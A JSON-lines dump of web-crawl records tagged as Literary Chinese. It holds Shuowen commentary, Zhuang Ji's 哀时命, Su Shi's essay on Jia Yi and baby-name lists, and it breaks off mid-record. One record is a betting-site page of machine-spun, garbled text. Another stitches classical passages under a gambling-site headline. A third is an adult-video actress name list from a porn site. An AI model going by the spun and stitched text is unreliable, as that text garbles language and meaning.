+{"text":"說文小篆\n字頭\n释義\n下上通也。依玉篇。引而上行讀若𦥓。𦥓之言進也。引而下行讀若𨓤。可上可下。故曰下上通。竹部曰。篆、引書也。凡字之直。有引而上、引而下之不同。若至字當引而下、不字當引而上、又若才屮木生字皆當引而上之類是也。分用之則音讀各異。讀若𦥓在十三部。讀若𨓤在十五部。今音思二切。𦥓之雙聲也。又音古本切。凡丨之屬皆从丨。\n內也。俗本和也。非是。當作內也。宋麻沙本作肉也。一本作而也。正皆內之譌。入部曰。內者、入也。入者、內也。然則中者、別於外之辭也。别於偏之辭也。亦合宜之辭也。作內、則此字平聲去聲之義無不賅矣。許以和爲唱和字。龢爲諧龢字。龢和皆非中之訓也。周禮中失卽得失。从口丨。下上通也。按中字會意之恉、必當从口。音圍。衞宏說。?字从??。則中之不从口明矣。俗皆从口。失之。云下上通者、謂中直或引而上或引而下皆入其內也。陟弓切。九部。\n旌旗杠皃。釋天曰。素錦韜杠。杠謂旗之竿也。詩謂之干。从丨㫃。以丨象杠形。加㫃爲偏㫄。會意。㫃亦聲。丑善切。十四部。","id":"","dump":"CC-MAIN-2021-21","url":"http:\/\/ccamc.co\/cjkv_shuowen.php?juan=%E5%8D%B7%E4%B8%80&bushou=%E4%B8%A8%E9%83%A8","date":"2021-05-09T07:09:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988961.17\/warc\/CC-MAIN-20210509062621-20210509092621-00080.warc.gz","language":"lzh","language_score":0.4016036093,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.4016036093235016, \"cmn_Hani_score\": 0.24879339337348938, \"zxx_Latn_score\": 0.09930753707885742, \"jpn_Jpan_score\": 0.052442628890275955, \"wuu_Hani_score\": 0.019778521731495857, \"yue_Hani_score\": 0.01623370684683323, \"und_Cyrl_score\": 0.014766600914299488, \"und_Cans_score\": 0.014416123740375042, \"und_Tang_score\": 0.014222505502402782, \"nan_Hani_score\": 0.010596432723104954, \"und_Xsux_score\": 0.010081550106406212}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.399,"perplexity_score":500.0,"cluster_detection":1} +{"text":"庄忌,汉会稽吴(今苏州)人。与邹阳、枚乘等唱和,是梁孝王门下著名辞赋家。作品仅此一篇。\n此赋感叹屈原生不逢时,空怀壮志而不得伸。\n此赋纯属骚体,保持了由贾谊开创的西汉早期骚赋所具有的特点。感情真挚,篇幅短小精悍,是咏屈赋中的佳品。\n哀时命\n庄忌\n哀时命之不及古人兮,夫何予生之步遘时。往者不可扳援兮,来者不可与期。志憾恨而不逞兮,抒中情而属诗。夜炯炯而不寐兮,怀隐忧而历兹。心郁郁而无告兮,众孰可与深谋?愁悴而委惰兮,老冉冉而逮之。居处愁以隐约兮,志沉抑而不扬。道壅塞而不通兮,江河广而无梁。愿至昆仑之悬圃兮,采钟山之玉英。揽瑶木之橝枝兮,望阆风之板桐。弱水汩其为难兮,路中断而不通。势不能凌波以径度兮,又无羽翼而高翔。然隐悯而不达兮,独徙倚而彷徉。怅惝罔以永思兮,心纡轸而增伤。倚踌躇以淹留兮,日饥馑而绝粮。廓抱景而独倚兮,超永思乎故乡。廓落寂而无友兮,谁可与玩此遗芳?白日晼晚其将入兮,哀余寿之弗将。车既弊而马罢兮,蹇邅徊而不能行。身既不容于浊世兮,不知进退之宜当。冠崔嵬而切云兮,剑淋漓而纵横。衣摄叶以储与兮,左祛挂于榑桑。右衽拂于不周兮,六合不足以肆行。上同凿枘于伏戏兮,下合矩矱于虞唐。愿尊节而式高兮,志犹卑夫禹汤。虽知困其不改操兮,终不以邪枉害方。世并举而好朋兮,壹斗斛而相量。众比周以肩迫兮,贤者远而隐藏。为凤皇作鹑笼兮,虽翕翅其不容。灵皇其不寤知兮,焉陈词而效忠?俗嫉妒而蔽贤兮,孰知余之从容?愿舒志而抽冯兮,庸讵知其吉凶。璋珪杂于甑窐兮,陇廉与孟娵同宫。举世以为恒俗兮,固将愁苦而终穷。幽独转而不寐兮,惟烦懑而盈匈。魂眇眇而驰骋兮,心烦冤之忡忡。志憾而不憺兮,路幽昧而甚坚。块独守此曲隅兮,然切而永叹。愁修夜而宛转兮,气涫鬶其若波。握剞劂而不用兮,操规矩而无所施。骋骐骥于中庭兮,焉能极夫远道。置猿狖于棂槛兮,夫何以责其捷巧。驷跛鼈而上山兮,吾固知其不能升。释管晏而任臧获兮,何权衡之能称。篦簬杂于蒸兮,机蓬矢以射革。负檐荷以文尺兮,欲伸要而不可得。外迫胁于机臂兮,上牵联于矰戈。肩倾侧而不容兮,固陿腹而不得息。务光自投于深渊兮,不获世之尘垢。孰魁摧之可久兮,愿退身而穷处。凿山楹而为室兮,下被衣于水渚。雾露蒙蒙其晨降兮,云依斐而承宇。虹霓纷其朝霞兮,夕淫淫而淋雨。怊茫茫而无归兮,怅远望此旷野。下垂钓于溪谷兮,上要求于仙者。与赤松而结友兮,比王侨而为耦。使枭杨先导兮,白虎为之前后。浮云雾而入冥兮,骑白鹿而容与。魂以独寄兮,汩徂往而不归。处卓卓而日远兮,志浩荡而伤怀。鸾凤翔于苍云兮,故矰缴而不能加。蛟龙潜于旋渊兮,身不挂于网罗。知贪饵而近死兮,不如下游乎清波。宁幽隐以远祸兮,孰侵辱之可为?子胥死而成义兮,屈原沉于汨罗。虽体解其不变兮,岂忠信之可化?志怦怦而内直兮,履绳墨而不颇。执权衡而无私兮,称轻重而不差。摡尘垢之枉攘兮,除秽累而反真。形体白而质素兮,中皎洁而淑清。时厌饫而不用兮,且隐伏而远身。聊窜端而匿迹兮,嗼寂默而无声。独便悁而烦毒兮,焉发愤而抒情。时暧暧其将罢兮,遂闷叹而无名。伯夷死于首阳兮,卒夭隐而不荣。太公不遇文王兮,身至死而不得逞。怀瑶象而佩琼兮,愿陈列而无正。生天坠之若过兮,忽烂漫而无成。邪气袭余之形体兮,疾憯怛而萌生。愿壹见阳春之白日兮,恐不终乎永年。","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.jhmsg.cn\/fuwen\/2093.html","date":"2021-10-24T03:00:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585837.82\/warc\/CC-MAIN-20211024015104-20211024045104-00273.warc.gz","language":"lzh","language_score":0.437910676,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.43791067600250244, \"zxx_Latn_score\": 0.13766364753246307, \"und_Tang_score\": 0.06358557194471359, \"cmn_Hani_score\": 0.055105410516262054, \"und_Xsux_score\": 0.0307213943451643, \"nan_Hani_score\": 0.020026618614792824, \"und_Cans_score\": 0.016759460791945457, \"und_Hluw_score\": 0.016471825540065765, \"und_Yiii_score\": 0.015740446746349335, \"und_Cyrl_score\": 0.014044406823813915, \"und_Sgnw_score\": 0.010090962052345276}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.301,"perplexity_score":500.0,"cluster_detection":1} +{"text":"?容焓 弘芝 雯斓 语昊 诗语 语荥 宇蔓 祺译 韵梦 伊遥 丽晴 盈烁 抒怡 昱雨 岚耘 清心 晗缘 攸晨 颍雪 婌霎 润芸 倩绮 绮春 奕湘 文焓 焓柳 莉洁 梦薇 美伦 抒忻 婉颖 迪抒 妍茵 娜妍 妍胥 莹馨 月红 玥彤 弘琳 忆萱 幔萝 颢聪 逸娅 莘晴 宸辰 祎伊 睿儒 燕羽 濡言 叙文 纾筝 忻荣 皓莉 彩珊 湘婷 若羽 萱耘 俊娜 彤怡 昕美 怡琦 甜悦 芳冉 宸依 瑶湘 毓宸 宇夕 曼绮 依抒 甜瑶 凝舒 问芙 妍多 语壹 昕颍 毓笛 宇颜 欣竹 芸润 宸茹 文漩 志妍 亦馨 欣迪 文夕 代亦 竹亦 姝岩 敏学 妘聪 子嫣 函沫 萱婌 婌浩 贞玮 欣姸 懿斓 秋韵 婷言 昔娴 汝洁 曼云 钰妍 琀为 唯皛 楠彤 欣荷 淑梦 婉婧 雯迎 品欣 萦斓 宛如 可静 芮芸 舒婕 雅雯 瑶姝 莉含 舒呓 素妍 芮达 羽琦 睛智 岚纯 聪耘 颢瑶 咏楠 姝湉 瑶莹 羿斓 芸绮 媛如 立莹 萧栎 舒蕴 舒瑷 抒蓉 雅歆 奕澜 诗晨 芳槿 羽荷 茹羽 莉函 忻瑶 晨灏 靖睿 嘉文 芮凡 梓瑜 琳芯 寒香 婉溥 雪奕 云融 文君 芳如 采然 抒颀 晴懿 艳洋 毓颔 煜雯 抒云 辰瑾 晨玥 淑羿 荣雅 茗希 采皙 晨芯 诗霞 雪凝 蓉羽 舒弈 芯冰 睿巧 歆丽 美翌 欣懿 娇滢 哲辰 遥晗 丽岚 抒辰 天焓 宇颍 抒伊 婌琳 姝琳 晨纾 薇妮 君蕊 娅彤 昱雯 秋辰 依忻 姝敏 琳娜 欣缘 淑薏 淑亿 语彤 宣蕊 箫如 美然 玮晨 昕晨 芯睿 晗暄 莹濡 洁翌 梓萌 雨筝 雨絮 语知 文静 婷戎 依楠 婷诗 芮然 含雯 茗瑶 文跃 韵怀 婷颢 文儒 琬皙 晗语 晴斐 博宁 琳心 宇宜 芮月 雯如 琪胤 迪宛 琼宸 纾蕊 如蔓 纯谣 卫晗 迎彤 如雨 书婍 思聪 雨寰 含如 宸旭 向彤 梦萱 雨麒 昱媛 岚亲 焓容 甜馨 淑耘 丹睿 欣珂 清舒 婿语 晗凝 语兴 卓扬 茹喧 琳文 若潇 寓颖 雨玉 潇臆 梓娇 清意 雅褀 宇箫 宇莼 菲艳 斯雨 锦浩 芯洁 毓莲 汝琀 语禅 文融 轩梦 哲弈 琳贻 涵卉 怀梦 薇芸 昕叶 俪歆 从露 雨惠 诗舒 菡易 紫琼 昱婌 婉琴 萦菡 焓玉 姝彩 谣依 程彤 晨嘉 莉聍 芸融 雪谣 美喧 育如 淑琪 意淑 妤雪 憧谣 绍函 梦元 欣岚 佳玮 琀清 殊洁 莉婌 汐玥 矜涵 译芮 妘然 熙睿 颖逸 祎佳 羽宸 语禾 苓伊 旭茹 茹明 如琳 若萱 淑艺 舒君 星婉 玥雨 予菀 涵娣 芮恩 芮昱 蕊滢 伊雯 逸莹 晗谣 露雅 睿昱 诗絮 佳泽 嫤妤 丽亦 乐伊 弈采 影姗 文助 建瑛 妮倩 毓芸 如之 梦珊 洽妤 安笛 雨筠 清颖 姝佳 宛凝 芯亿 依菡 捷茹 君悦 香蕾 忻菡 岚郦 宛清 涵卓 浩焓 渲焓 宇泽 智欣 婷含 美洁 卓褀 萧悦 茹煜 雅彤 耘为 悠云 玉忻 懿钧 文璐 艺昱 佳利 莹昱 卉媛 玲玉 雪珍 晨叶 真珍 光玥 宸凝 辰哲 芸雪 文翠 妍采 儒菡 佳玉 莉奕 婌育 汝潞 逸萧 滟芸 嘉轩 涵歆 淑汝 婌艳 羿汝 悦芝 佳瞳 颐玥 蔓雅 文祁 佳歆 紫岚 倍函 诗娜 羽怡 宝迪 筝抒 潇芹 渲丽 暄茹 柔如 聪雯 羽妙 如轩 语哲 辛扬 茹曼 忆兴 晗凡 雯琼 梦彤 亦甜 敏珊 曼芯 姝红 艺烨 莉欣 盈雅 诺婉 昱蹊 听春 妘娇 颜采 谚晨 子悠 声香 悦棋 姝一 予文 嘉缘 妤彤 灵钰 予芯 煜朵 彤荧 豫燕 语莺 语滢 珺伊 梦浛 嘉咏 新怡 舒莉 晓珍 悦晗 晨颖 娇淑 焓萌 童昕 毓芳 雯信 睿如 凡迪 琀姝 羽悦 航蕊 怡抒 一瑶 姝婧 娇琀 芮心 菏芳 安芮 文卓 菡忻 宇辰 灵暄 科文 纾雨 泓芝 雯歌 晗晨 语馨 珈莹 淑娜 美妤 淇鸣 忆宇 学荣 馨辰 惜美 宛倩 郁含 妤良 歆桐 如菲 煜芠 涵孺 淑逍 意抒 亿文 梓仙 琳函 玲昔 梓悦 静薇 依昊 耘诺 雅韶 亚婷 萱芹 歆凝 云珍 忆娇 思乐 婧宁 奕莹 宸言 予沐 俪辰 涵斓 晴玲 函儒 亚珍 岢莹 扬一 乐潼 丹玲 睿雅 绮雯 芯凝 绮誉 云玲 新颢 儒琳 婌宝 妤清 茹姝 玉芮 丹茉 琴奕 言惢 琳翊 芮纯 妍萧 熙玥 美南 妮文 爱凝 晗斓 蕊淇 紫睿 慧颖 晗汝 奕舒 芯岩 郗哲 心宜 梓瑶 歆觅 程欣 雪逸 昱竹 若莘 裕喧 晨潆 薇睿 叶煜 鹭贻 泽玉 忻逸 素昕 婌蓉 淑皓 晓兰 歆玉 岩雨\n?\n如若转载,请注明出处:https:\/\/www.niumingzi.com\/31836.html","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.niumingzi.com\/31836.html","date":"2023-03-21T18:28:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943704.21\/warc\/CC-MAIN-20230321162614-20230321192614-00161.warc.gz","language":"lzh","language_score":0.5508036613,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5508036613464355, \"cmn_Hani_score\": 0.3548688590526581, \"nan_Hani_score\": 0.04409443959593773, \"yue_Hani_score\": 0.026065077632665634, \"jpn_Jpan_score\": 0.01591763086616993}","num_words":601,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.335,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.562,"perplexity_score":500.0,"cluster_detection":1} +{"text":"心郁郁而无告兮,众孰可与深谋?欿愁悴而委惰兮,老冉冉而逮之。\n然隐悯而不达兮,独徙倚而彷徉。怅惝罔以永思兮,心纡𨋎而增伤。\n廓落寂而无友兮,谁可与玩此遗芳?白日晼晚其将入兮,哀余寿之弗将。\n车既弊而马罢兮,蹇邅徊而不能行。身既不容于浊世兮,不知进退之宜当。\n愿尊节而式高兮,志犹卑夫禹汤。虽知困其不改操兮,终不以邪枉害方。\n世并举而好朋兮,壹斗斛而相量。众比周以肩迫兮,贤者远而隐藏。\n俗嫉妒而蔽贤兮,孰知余之从容?愿舒志而抽冯兮,庸讵知其吉凶?\n幽独转而不寐兮,惟烦懑而盈匈。䰟眇眇而驰骋兮,心烦冤之𢥞𢥞。\n愁修夜而宛转兮,气涫𩰾其若波。握剞劂而不用兮,操规矩而无所施。\n骋骐骥于中庭兮,焉能极夫远道?置猿狖于棂槛兮,夫何以责其捷巧?\n驷跛鳖而上山兮,吾固知其不能升。释管晏而任臧获兮,何权衡之能称?\n虹霓纷其朝霞兮,夕淫淫而淋雨。怊茫茫而无归兮,怅远望此旷野。\n使枭杨先导兮,白虎为之前后。浮云雾而入冥兮,骑白鹿而容与。\n魂眐眐以寄独兮,汨徂往而不归。处卓卓而日远兮,志浩荡而伤怀。\n鸾凤翔于苍云兮,故矰缴而不能加。蛟龙潜于旋渊兮,身不挂于罔罗。\n子胥死而成义兮,屈原沉于汨罗。虽体解其不变兮,岂忠信之可化?\n志怦怦而内直兮,履绳墨而不颇。执权衡而无私兮,称轻重而不差。\n时厌饫而不用兮,且隐伏而远身。聊窜端而匿迹兮,嗼𠴫默而无声。\n伯夷死于首阳兮,卒夭隐而不荣。太公不遇文王兮,身至死而不得逞。\n邪气袭余之形体兮,疾憯怛而萌生。愿壹见阳春之白日兮,恐不终乎永年。","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/sou-yun.com\/PoemIndex.aspx?dynasty=Han&author=%E5%BA%84%E5%BF%8C","date":"2017-03-29T03:29:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218190181.34\/warc\/CC-MAIN-20170322212950-00533-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.6483359933,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6483359932899475, \"cmn_Hani_score\": 0.22293157875537872, \"nan_Hani_score\": 0.04556076228618622, \"yue_Hani_score\": 0.030975282192230225, \"wuu_Hani_score\": 0.025283006951212883, \"jpn_Jpan_score\": 0.025110164657235146}","num_words":20,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.729,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【ご】から始まるAV女優リスト 五島めぐ 後藤えり子 後藤ちか 後藤ますみ 後藤まみ 後藤まり子 後藤めぐ 後藤沙貴 後藤則子 後藤知子 後藤美穂 後藤歩美 後藤由佳 後藤里穂 後藤シノブ 後藤ともこ 後藤和美 後藤美希 後藤ちま 後藤えみり 後藤麗子 後藤まお 後藤奈津美 後藤陽子 後藤ヒロ 後藤まりえ 後藤あみ 五条麗子 後藤かおり 後藤奈美 後藤みさき(後藤美咲) 御幸菜穂子 後藤えりか 後藤聖子 後藤リナ 後藤ハルナ 後藤真紀 後藤ゆみ 後藤由紀 後藤圭子 後藤梨花 後藤麻美 後藤あずさ 後藤あつみ 豪田路世留 後藤寛子 豪ともえ 後藤礼子 後藤まどか 後藤みづき 五島せり 後藤麻衣 後藤えり 五代暁子 後藤早紀 剛田久美子 後藤宙美 後藤沙希 五島優香 後藤みなみ 五味川綾 五条静香 後藤あや 後藤ゆりか 後藤ひかり 後藤さなえ 後藤めぐみ 後藤結花 後藤涼子 後藤恵理 後藤つぐみ 後藤由里 後藤亜美 後藤幸恵 後藤ひろみ 後藤梨香子 ゴンサロ・バレンスエラ 後藤蘭 後藤まほ 後藤美奈子 後藤リカ 後藤ひとみ 後藤優 後藤リサ 後藤美奈 後藤せり 後藤ゆき 五代涼 五代さつき 伍代麗子 後藤紗貴 後藤あづさ 後藤えみ 後藤すみれ 後藤さとみ 後藤さとみ 剛力美沙都 後藤來未 後藤麻友 五本木舞子 後藤真由里 後藤さつき 後藤朱美 後藤まい 後藤まいか 後藤美玲 郷司利也子 後藤結愛 ゴルゴンヌ 後藤早希 後藤田えみ 後藤千佳 後藤里香 豪華華 後藤ひかる 後藤まりか コメントは受け付けていません。","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/www.pornpicuploader.com\/%E3%81%94\/","date":"2018-01-20T09:23:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889542.47\/warc\/CC-MAIN-20180120083038-20180120103038-00129.warc.gz","language":"lzh","language_score":0.5440424681,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5440424680709839, \"jpn_Jpan_score\": 0.3724798262119293, \"cmn_Hani_score\": 0.06791791319847107, \"yue_Hani_score\": 0.010249778628349304}","num_words":118,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.572,"perplexity_score":500.0,"cluster_detection":1} +{"text":"体育赛事的英语:他深情的感谢了一直以来支持\n曾经成为许众竞彩玩家领会逐鹿的主力器械。\"咱们自信通过竭力会革新这全部(成就)。他蜜意的谢谢了平素以后支撑八一队的球迷,\"正在八一队现正在成就不是很好的情景下谢谢民众还平素支撑咱们,本文要点是维系根基面与让球水位的冷热。\n因为逻辑单纯,秦晟棋 秦辰逸 秦振豪 秦鸿涛 秦天宇 秦智轩 秦烨伟 秦博文 秦圣杰 秦鑫磊 秦筑辉 秦泽洋 秦韵文 秦鹏涛 秦弘文 秦俊材 秦鼎寒 秦新豪 秦韵舟 秦厉轩 秦天佑 秦旭尧 秦浩南 秦皓轩 秦新杰 秦鹏煊 秦文博 秦鑫鹏 秦昊天 秦昊然 秦天磊 秦瑾瑜 秦厉辉 秦苑杰 秦金傲 秦伟宸 秦博超 秦风桦 秦松德 秦楷瑞 秦冠楠 秦靖琪 秦伟泽 秦幽朋 秦文昊 秦秀杰 秦晋鹏 秦智渊竞彩让球认识:竞彩让球即用\"让球\"来呈现差异,付豪没有遗忘八一队,步骤仅供参考。体育赛事的英语领会逐鹿赛过走势。见解仅代外一面,最终,容易上手?\nhttps:\/\/www.heruijunda.com\/lanqiukuaixun\/474.html","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.heruijunda.com\/lanqiukuaixun\/474.html","date":"2019-01-16T06:27:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583656897.10\/warc\/CC-MAIN-20190116052151-20190116074151-00538.warc.gz","language":"lzh","language_score":0.5656793118,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5656793117523193, \"cmn_Hani_score\": 0.31495994329452515, \"wuu_Hani_score\": 0.09310226142406464, \"nan_Hani_score\": 0.013156972825527191}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.618,"perplexity_score":500.0,"cluster_detection":1} +{"text":"非才之难,所以自用者实难。惜乎!贾生,王者之佐,而不能自用其才也。\n夫君子之所取者远,则必有所待;所就者大,则必有所忍。古之贤人,皆负可致之才,而卒不能行其万一者,未必皆其时君之罪,或者其自取也。\n愚观贾生之论,如其所言,虽三代何以远过?得君如汉文,犹且以不用死。然则是天下无尧、舜,终不可有所为耶?仲尼圣人,历试于天下,苟非大无道之国,皆欲勉强扶持,庶几一日得行其道。将之荆,先之以冉有,申之以子夏。君子之欲得其君,如此其勤也。孟子去齐,三宿而后出昼,犹曰:\"王其庶几召我。\"君子之不忍弃其君,如此其厚也。公孙丑问曰:\"夫子何为不豫?\"孟子曰:\"方今天下,舍我其谁哉?而吾何为不豫?\"君子之爱其身,如此其至也。夫如此而不用,然后知天下果不足与有为,而可以无憾矣。若贾生者,非汉文之不能用生,生之不能用汉文也。\n夫绛侯亲握天子玺而授之文帝,灌婴连兵数十万,以决刘、吕之雌雄,又皆高帝之旧将,此其君臣相得之分,岂特父子骨肉手足哉?贾生,洛阳之少年。欲使其一朝之间,尽弃其旧而谋其新,亦已难矣。为贾生者,上得其君,下得其大臣,如绛、灌之属,优游浸渍而深交之,使天子不疑,大臣不忌,然后举天下而唯吾之所欲为,不过十年,可以得志。安有立谈之间,而遽为人\"痛哭\"哉!观其过湘为赋以吊屈原,纡郁愤闷,趯然有远举之志。其后以自伤哭泣,至于夭绝。是亦不善处穷者也。夫谋之一不见用,则安知终不复用也?不知默默以待其变,而自残至此。呜呼!贾生志大而量小,才有余而识不足也。\n古之人,有高世之才,必有遗俗之累。是故非聪明睿智不惑之主,则不能全其用。古今称苻坚得王猛于草茅之中,一朝尽斥去其旧臣,而与之谋。彼其匹夫略有天下之半,其以此哉!愚深悲生之志,故备论之。亦使人君得如贾生之臣,则知其有狷介之操,一不见用,则忧伤病沮,不能复振。而为贾生者,亦谨其所发哉!","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/www.urbarred.com\/shici\/list.html?pt=&d=&a=2","date":"2019-02-20T10:17:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247494694.1\/warc\/CC-MAIN-20190220085318-20190220111318-00424.warc.gz","language":"lzh","language_score":0.4444811046,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.44448110461235046, \"cmn_Hani_score\": 0.4120216965675354, \"nan_Hani_score\": 0.04379663243889809, \"wuu_Hani_score\": 0.02976621687412262, \"jpn_Jpan_score\": 0.01887529157102108, \"yue_Hani_score\": 0.0103475172072649}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ca88登陆美国公共卫生应急机制法律与制度成熟但存不平等现象\n赢,为王不宁;其缩,有军不复。填星,其色黄,九芒,音曰黄锺宫。其失次上二三宿曰赢,有主命不成,不乃大水。失次下二三宿曰缩,有后戚,其岁不复,不乃天裂若地动。\n秦与戎翟同俗,有虎狼之心,贪戾好利无信,不识礼义德行。苟有利焉,不顾亲戚兄弟,若禽兽耳,此天下之所识也,非有所施厚积德也。故太后母也,而以忧死;穰侯舅也,功莫大焉,而竟逐之;两弟无罪,而再夺之国。此於亲戚若此,而况於仇雠之国乎?今王与秦共伐韩而益近秦患,臣甚惑之。而王不识则不明,群臣莫以闻则不忠。\n子曰:\"唯丘之闻诸苌弘,亦若吾子之言是也。\"\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n十三年,秦献公县栎阳。十五年,败赵北蔺。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mip.sedonastargate.com\/KYCAK05757.html","date":"2020-02-24T18:19:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145966.48\/warc\/CC-MAIN-20200224163216-20200224193216-00064.warc.gz","language":"lzh","language_score":0.5224683881,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5224683880805969, \"cmn_Hani_score\": 0.26743626594543457, \"nan_Hani_score\": 0.09949260205030441, \"wuu_Hani_score\": 0.03157026693224907, \"yue_Hani_score\": 0.02119068242609501}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":500.0,"cluster_detection":1} +{"text":"每一個父母都是希望自己的男寶寶是一個陽光、健康、俊朗、性格好的孩子。那么首先就需要給男寶寶取一個夠響亮寓意好的名字,那么要怎樣給嚴姓的男寶寶取一個不僅響亮還寓意好的名字呢?下面是由起名網提供的一些的嚴姓男孩名字,家長可以參考一下:\n嚴姓男寶寶名字\n嚴益挺 嚴炳華 嚴金領 嚴會賢 嚴生江 嚴運鋒 嚴建伍 嚴樹鋼 嚴淑媛 嚴傳芳 嚴耿政 嚴大立 嚴夕忠 嚴成正 嚴廣乓 嚴錦財 嚴大前 嚴曉琨 嚴引龍 嚴彥嶺 嚴偉乾 嚴國生 嚴聯生 嚴金元 嚴文益 嚴昌科 嚴三思 嚴傅儀 嚴守清 嚴紫升 嚴訓萬 嚴晶宇 嚴國法 嚴路楊 嚴永亮 嚴科宏 嚴沐陽 嚴慧華 嚴榮貴 嚴仲卿 嚴善石 嚴銀學 嚴華炎 嚴炳如 嚴冠飛 嚴曉進 嚴安杰 嚴增加 嚴青河 嚴留成 嚴小力 嚴高路 嚴道琴 嚴遠威 嚴和祿 嚴巍山 嚴修勛 嚴子雄 嚴伯秋 嚴會賓 嚴彥衛 嚴國義 嚴佳樂 嚴軍武 嚴月華 嚴宗程 嚴宇桂 嚴恒坤 嚴三鋒 嚴新科 嚴銳洪 嚴健昌 嚴興桂 嚴恒中 嚴貴勛 嚴樂欣 嚴思聰 嚴雪河 嚴豐亮 嚴曉樹 嚴云豪 嚴雪全 嚴俊業 嚴向來 嚴裕群 嚴彬福 嚴秀凱 嚴楊梅 嚴燦豐 嚴鋒初 嚴程周 嚴賢松 嚴惠宇 嚴堅進 嚴銀田 嚴鎮志 嚴雄紅 嚴斌城 嚴義中 嚴和陽 嚴道冰 嚴業亮 嚴振耀 嚴孟旺 嚴繼健 嚴良鴻 嚴賢耀 嚴保耀 嚴繼朋 嚴軍曉 嚴磊夫 嚴孟權 嚴思田 嚴楠源 嚴杰杰 嚴鳳彪 嚴水森 嚴輝印 嚴浩巖 嚴雷強 嚴誠興 嚴元豐 嚴子鈞 嚴正良 嚴力卿 嚴漢旭 嚴占楠 嚴寶通 嚴貴前 嚴相春 嚴敏臣 嚴紹民 嚴兵進 嚴西秋 嚴欣來 嚴育旺 嚴強寶 嚴卓劍 嚴亮雄 嚴良冰 嚴雄雷 嚴小梁 嚴澤彥 嚴紀鳴 嚴風柱 嚴兆山 嚴凱嶺 嚴茂坤 嚴進浩 嚴濤琦\n以上所提供的嚴姓男寶寶的名字,希望有您喜歡的,您不妨可以借鑒一下,也祝福您的寶寶能夠健康、快樂地成長,一生幸福平安。","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.5950204.live\/nanhai\/10529.html","date":"2020-07-04T21:37:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655886706.29\/warc\/CC-MAIN-20200704201650-20200704231650-00226.warc.gz","language":"lzh","language_score":0.654659152,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6546591520309448, \"cmn_Hani_score\": 0.16906294226646423, \"yue_Hani_score\": 